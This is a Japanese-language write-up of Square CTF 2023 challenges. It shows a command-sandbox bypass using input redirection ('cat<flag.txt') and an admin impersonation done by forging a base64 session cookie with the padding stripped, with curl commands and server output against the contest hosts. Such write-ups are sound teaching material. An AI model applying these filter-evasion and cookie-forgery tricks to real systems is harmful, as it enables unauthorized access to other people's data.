Square CTF 2023 Writeup

この大会は2023/11/18 3:00(JST)~2023/11/19 3:00(JST)に開催されました。
今回もチームで参戦。結果は101点で540チーム中196位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome! (misc 1)

問題にフラグが書いてあった。

flag{h3ll0_w0r1d!}

sandbox (kidz-corner 25)

どうやらコマンドのスペースの後は見てくれないらしい。

$ nc 184.72.87.9 8008
Hi! Welcome to the kidz corner sandbox! we made it super safe in here - you can execute whatever command you want, but only one word at a time so you can't do anything too dangerous, like steal our flags!
ls -l
flag.txt  sandbox.py
cat<flag.txt
flag{did_you_use_ifs_or_python_let_me_know_down_in_the_comments}
flag{did_you_use_ifs_or_python_let_me_know_down_in_the_comments}

Be The Admin (web 75)

Adminをクリックすると、以下のような表示になる。

Name: Admin

Secret: User's can only see their own secret

クッキーのsession_idに以下が設定されている。

Q1RGIFBhcnRpY2lwYW50
$ echo Q1RGIFBhcnRpY2lwYW50 | base64 -d
CTF Participant

"Admin"のbase64文字列を設定する。

$ echo -n Admin | base64               
QWRtaW4=
$ curl http://184.72.87.9:8012/profile?id=2 -b "session_id=QWRtaW4="
<!DOCTYPE HTML>
<html>
<head>
  <title>Be The Admin</title>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<h1>Profile</h1>
<br>
<p>Name: Admin</p>
<p>Secret: User's can only see their own secret</p>
</body>
</html>

base64文字列のパディング文字"="を削除してアクセスしてみる。

$ curl http://184.72.87.9:8012/profile?id=2 -b "session_id=QWRtaW4" 
<!DOCTYPE HTML>
<html>
<head>
  <title>Be The Admin</title>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<h1>Profile</h1>
<br>
<p>Name: Admin</p>
<p>Secret: flag{boyireallyhopenobodyfindsthis!!}</p>
</body>
</html>
flag{boyireallyhopenobodyfindsthis!!}